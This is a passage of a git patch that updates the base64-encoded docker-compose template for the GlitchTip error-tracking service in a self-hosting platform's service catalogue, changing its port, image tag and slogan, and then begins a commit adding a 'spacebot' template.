29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiBnbGl0Y2h0aXAvZ2xpdGNodGlwCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", + "slogan": "GlitchTip is a error tracking system.", + "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HTElUQ0hUSVBfODAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2xpdGNodGlwL2dsaXRjaHRpcDo2LjAnCiAgICBjb21tYW5kOiAuL2Jpbi9ydW4tY2VsZXJ5LXdpdGgtYmVhdC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTUUw6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTEBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgICAgLSBTRUNSRVRfS0VZPSRTRVJWSUNFX0JBU0U2NF82NF9FTkNSWVBUSU9OCiAgICAgIC0gJ0VNQUlMX1VSTD0ke0VNQUlMX1VSTDotY29uc29sZW1haWw6Ly99JwogICAgICAtICdHTElUQ0hUSVBfRE9NQUlOPSR7U0VSVklDRV9VUkxfR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", "tags": [ "error", "tracking", - "open-source", - "self-hosted", "sentry" ], "category": "monitoring", "logo": "svgs/glitchtip.png", "minversion": "0.0.0", - "port": "8080" + "port": "8000" }, "glpi": { "documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io", diff --git a/templates/service-templates.json b/templates/service-templates.json index bcecf06c5..8aab00daf 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1758,19 +1758,17 @@ }, "glitchtip": { "documentation": "https://glitchtip.com?utm_source=coolify.io", - "slogan": "GlitchTip is a self-hosted, open-source error tracking system.", - "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwODAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogZ2xpdGNodGlwL2dsaXRjaHRpcAogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", + "slogan": "GlitchTip is a error tracking system.", + "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6ICdnbGl0Y2h0aXAvZ2xpdGNodGlwOjYuMCcKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0dMSVRDSFRJUF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR0xJVENIVElQfScKICAgICAgLSAnREVGQVVMVF9GUk9NX0VNQUlMPSR7REVGQVVMVF9GUk9NX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9BVVRPU0NBTEU9JHtDRUxFUllfV09SS0VSX0FVVE9TQ0FMRTotMSwzfScKICAgICAgLSAnQ0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEPSR7Q0VMRVJZX1dPUktFUl9NQVhfVEFTS1NfUEVSX0NISUxEOi0xMDAwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9jb2RlL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gb2sKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG1pZ3JhdGU6CiAgICBpbWFnZTogJ2dsaXRjaHRpcC9nbGl0Y2h0aXA6Ni4wJwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6ICcuL21hbmFnZS5weSBtaWdyYXRlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVNRTDokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU1FMQHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU1FMX0RBVEFCQVNFOi1nbGl0Y2h0aXB9JwogICAgICAtIFNFQ1JFVF9LRVk9JFNFUlZJQ0VfQkFTRTY0XzY0X0VOQ1JZUFRJT04KICAgICAgLSAnRU1BSUxfVVJMPSR7RU1BSUxfVVJMOi1jb25zb2xlbWFpbDovL30nCiAgICAgIC0gJ0RFRkFVTFRfRlJPTV9FTUFJTD0ke0RFRkFVTFRfRlJPTV9FTUFJTDotdGVzdEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFPSR7Q0VMRVJZX1dPUktFUl9BVVRPU0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", "tags": [ "error", "tracking", - "open-source", - "self-hosted", "sentry" ], "category": "monitoring", "logo": "svgs/glitchtip.png", "minversion": "0.0.0", - "port": "8080" + "port": "8000" }, "glpi": { "documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io", From 967d2959633617235624387f7f4f619fa3c76fc9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Feb 2026 11:20:32 +0100 Subject: [PATCH 059/305] chore: prepare for PR --- app/Livewire/GlobalSearch.php | 1 + public/svgs/spacebot.png | Bin 0 -> 134688 bytes .../views/livewire/global-search.blade.php | 49 +++++++++++------- templates/compose/spacebot.yaml | 31 +++++++++++ templates/service-templates-latest.json | 19 +++++++ templates/service-templates.json | 19 +++++++ 6 files changed, 101 insertions(+), 18 deletions(-) create mode 100644 public/svgs/spacebot.png create mode 100644 templates/compose/spacebot.yaml diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index ed9115093..f910110dc 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -1495,6 +1495,7 @@ public function getServicesProperty() 'type' 